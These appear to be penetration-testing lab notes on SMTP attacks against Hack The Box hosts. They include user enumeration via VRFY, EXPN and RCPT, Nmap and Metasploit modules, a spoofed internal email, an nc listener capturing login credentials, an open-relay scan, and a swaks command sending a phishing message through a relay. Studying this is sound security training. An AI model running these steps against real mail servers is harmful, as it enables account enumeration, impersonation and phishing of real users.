0xss0rz@htb[/htb]$ telnet 10.129.14.128 25
Trying 10.129.14.128...
Connected to 10.129.14.128.
Escape character is '^]'.
220 ESMTP Server
HELO mail1.inlanefreight.htb
250 mail1.inlanefreight.htb
EHLO mail1
250-mail1.inlanefreight.htb
250-PIPELINING
250-SIZE 10240000
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
VRFY
The command VRFY can be used to enumerate existing users on the system.
0xss0rz@htb[/htb]$ telnet 10.129.14.128 25
Trying 10.129.14.128...
Connected to 10.129.14.128.
Escape character is '^]'.
220 ESMTP Server
VRFY root
252 2.0.0 root
VRFY cry0l1t3
252 2.0.0 cry0l1t3
VRFY testuser
252 2.0.0 testuser
VRFY aaaaaaaaaaaaaaaaaaaaaaaaaaaa
252 2.0.0 aaaaaaaaaaaaaaaaaaaaaaaaaaaa
EXPN
EXPN is similar to VRFY, except that when used with a distribution list, it will list all users on that list. This can be a bigger problem than the VRFY command since sites often have an alias such as "all."
$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
EXPN john
250 2.1.0 john@inlanefreight.htb
EXPN support-team
250 2.0.0 carol@inlanefreight.htb
250 2.1.5 elisa@inlanefreight.htb
RCPT
$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
MAIL FROM:test@htb.com
it is
250 2.1.0 test@htb.com... Sender ok
RCPT TO:julio
550 5.1.1 julio... User unknown
RCPT TO:kate
550 5.1.1 kate... User unknown
RCPT TO:john
250 2.1.5 john... Recipient ok
User enumeration
Nmap
nmap –script smtp-enum-users.nse 172.16.212.133
Metasploit
auxiliary/scanner/smtp/smtp_enum
msf > use auxiliary/scanner/smtp/smtp_version
We can specify the enumeration mode with the argument -M followed by VRFY, EXPN, or RCPT, and the argument -U with a file containing the list of users we want to enumerate. Depending on the server implementation and enumeration mode, we need to add the domain for the email address with the argument -D. Finally, we specify the target with the argument -t.
0xss0rz@htb[/htb]$ telnet 10.129.14.128 25
Trying 10.129.14.128...
Connected to 10.129.14.128.
Escape character is '^]'.
220 ESMTP Server
EHLO inlanefreight.htb
250-mail1.inlanefreight.htb
250-PIPELINING
250-SIZE 10240000
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
MAIL FROM: <cry0l1t3@inlanefreight.htb>
250 2.1.0 Ok
RCPT TO: <mrb3n@inlanefreight.htb> NOTIFY=success,failure
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: <cry0l1t3@inlanefreight.htb>
To: <mrb3n@inlanefreight.htb>
Subject: DB
Date: Tue, 28 Sept 2021 16:32:51 +0200
Hey man, I am trying to access our XY-DB but the creds don't work.
Did you make any changes there?
.
250 2.0.0 Ok: queued as 6E1CF1681AB
QUIT
221 2.0.0 Bye
Connection closed by foreign host.
nc -nlvp
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from IP.
Ncat: Connection from IP:PORT.
POST /remote/auth/login.aspx?LoginType=Explicit&user=username&password=passwd&domain=DOMAIN.LOCAL HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Host: 10.10.14.193
Content-Length: 76
Expect: 100-continue
Connection: Keep-Alive
Open Relay
Nmap
0xss0rz@htb[/htb]$ sudo nmap 10.129.14.128 -p25 --script smtp-open-relay -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-30 02:29 CEST
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 02:29
Completed NSE at 02:29, 0.00s elapsed
Initiating ARP Ping Scan at 02:29
Scanning 10.129.14.128 [1 port]
Completed ARP Ping Scan at 02:29, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:29
Completed Parallel DNS resolution of 1 host. at 02:29, 0.03s elapsed
Initiating SYN Stealth Scan at 02:29
Scanning 10.129.14.128 [1 port]
Discovered open port 25/tcp on 10.129.14.128
Completed SYN Stealth Scan at 02:29, 0.06s elapsed (1 total ports)
NSE: Script scanning 10.129.14.128.
Initiating NSE at 02:29
Completed NSE at 02:29, 0.07s elapsed
Nmap scan report for 10.129.14.128
Host is up (0.00020s latency).
PORT STATE SERVICE
25/tcp open smtp
| smtp-open-relay: Server is an open relay (16/16 tests)
| MAIL FROM:<> -> RCPT TO:<relaytest@nmap.scanme.org>
| MAIL FROM:<antispam@nmap.scanme.org> -> RCPT TO:<relaytest@nmap.scanme.org>
| MAIL FROM:<antispam@ESMTP> -> RCPT TO:<relaytest@nmap.scanme.org>
| MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<relaytest@nmap.scanme.org>
| MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<relaytest%nmap.scanme.org@[10.129.14.128]>
| MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<relaytest%nmap.scanme.org@ESMTP>
| MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<"relaytest@nmap.scanme.org">
| MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<"relaytest%nmap.scanme.org">
| MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<relaytest@nmap.scanme.org@[10.129.14.128]>
| MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<"relaytest@nmap.scanme.org"@[10.129.14.128]>
| MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<relaytest@nmap.scanme.org@ESMTP>
| MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<@[10.129.14.128]:relaytest@nmap.scanme.org>
| MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<@ESMTP:relaytest@nmap.scanme.org>
| MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<nmap.scanme.org!relaytest>
| MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<nmap.scanme.org!relaytest@[10.129.14.128]>
|_ MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<nmap.scanme.org!relaytest@ESMTP>
MAC Address: 00:00:00:00:00:00 (VMware)
NSE: Script Post-scanning.
Initiating NSE at 02:29
Completed NSE at 02:29, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.48 seconds
Raw packets sent: 2 (72B) | Rcvd: 2 (72B)
Swaks
swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213
=== Trying 10.10.11.213:25...
=== Connected to 10.10.11.213.
<- 220 mail.localdomain SMTP Mailer ready
-> EHLO parrot
<- 250-mail.localdomain
<- 250-SIZE 33554432
<- 250-8BITMIME
<- 250-STARTTLS
<- 250-AUTH LOGIN PLAIN CRAM-MD5 CRAM-SHA1
<- 250 HELP
-> MAIL FROM:<notifications@inlanefreight.com>
<- 250 OK
-> RCPT TO:<employees@inlanefreight.com>
<- 250 OK
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Thu, 29 Oct 2020 01:36:06 -0400
-> To: employees@inlanefreight.com
-> From: notifications@inlanefreight.com
-> Subject: Company Notification
-> Message-Id: <20201029013606.775675@parrot>
-> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
->
-> Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/
->
->
-> .
<- 250 OK
-> QUIT
<- 221 Bye
=== Connection closed with remote host.
